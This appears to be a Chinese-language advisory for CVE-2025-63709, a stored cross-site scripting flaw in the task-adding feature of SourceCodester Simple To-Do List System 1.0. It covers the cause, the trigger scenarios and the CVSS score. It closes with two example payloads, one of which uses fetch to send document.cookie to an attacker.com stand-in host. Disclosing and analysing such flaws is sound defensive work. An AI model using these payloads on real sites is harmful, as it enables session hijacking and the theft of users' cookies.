CVE-2025-63709CVE-2025-63709是SourceCodester Simple To-Do List System 1.0中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的"Add Tasks"(添加任务)功能模块,攻击者可以在任务输入字段中注入恶意的HTML或JavaScript代码。由于应用程序未对用户输入进行充分的清理和编码处理,注入的恶意脚本会被永久存储在数据库中。当其他用户查看包含恶意脚本的任务列表时,这些脚本将在其浏览器中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意操作。攻击者利用此漏洞需要具备低权限的认证用户身份,但成功利用后可以获取访问该系统的任意用户的敏感数据,包括Cookie、会话令牌等。由于该漏洞为存储型XSS,恶意脚本会在所有访问受影响页面的用户浏览器中执行,因此危害范围较广。CVSS评分5.4分,属于中等严重程度,主要因为其需要认证且需要用户交互才能触发。
该存储型XSS漏洞存在于SourceCodester Simple To-Do List System 1.0的任务添加功能中。漏洞产生的根本原因在于应用程序在后端处理用户输入时缺乏输入验证和输出编码机制。具体来说,当用户通过"Add Tasks"功能提交任务时,系统直接将用户输入的内容存储到数据库中,未对特殊字符(如<、>、"、'、/等)进行HTML实体编码或移除JavaScript事件处理器(如onerror、onload、onclick等)。存储后的恶意脚本在以下场景会被触发:1) 其他用户查看任务列表页面;2) 管理员审核任务;3) 任何用户浏览包含恶意任务的页面。由于浏览器会解析并执行页面中的JavaScript代码,攻击者注入的脚本会在受害者浏览器上下文中执行,从而实现窃取Cookie、劫持会话、执行任意操作等目的。攻击者通常会构造如<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>等Payload来利用此漏洞。